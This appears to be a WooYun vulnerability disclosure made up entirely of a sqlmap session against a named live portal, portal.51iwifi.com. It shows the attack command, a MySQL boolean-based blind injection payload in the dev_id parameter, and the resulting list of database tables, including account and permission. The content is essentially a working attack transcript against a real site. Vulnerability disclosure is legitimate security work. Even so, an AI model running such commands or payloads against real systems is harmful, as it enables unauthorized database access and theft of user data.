WooYun.org

D:\sqlmapdev>sqlmap.py -u "http://portal.51iwifi.com/site/portal/?dev_id=RADIUS-
RADIUS-20150204-63ee0d57" --thread 10 --level 5 -D twifi_dev --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150324}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:07:09
[18:07:10] [INFO] resuming back-end DBMS 'mysql'
[18:07:10] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: dev_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
 clause
    Payload: dev_id=RADIUS-RADIUS-20150204-63ee0d57%' RLIKE (SELECT (CASE WHEN (
8310=8310) THEN 0x5241444955532d5241444955532d32303135303230342d3633656530643537
 ELSE 0x28 END)) AND '%'='
---
[18:07:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[18:07:10] [INFO] fetching tables for database: 'twifi_dev'
[18:07:10] [INFO] fetching number of tables for database 'twifi_dev'
[18:07:10] [INFO] retrieved:
[18:07:10] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[18:07:10] [WARNING] unable to retrieve the number of tables for database 'twifi
_dev'
[18:07:10] [ERROR] unable to retrieve the table names for any database
Database: twifi_dev
[6 tables]
+------------+
| account    |
| city       |
| location   |
| message    |
| permission |
| province   |
+------------+
[18:07:10] [INFO] fetched data logged to text files under 'C:\Users\Sofia\.sqlma
p\output\portal.51iwifi.com'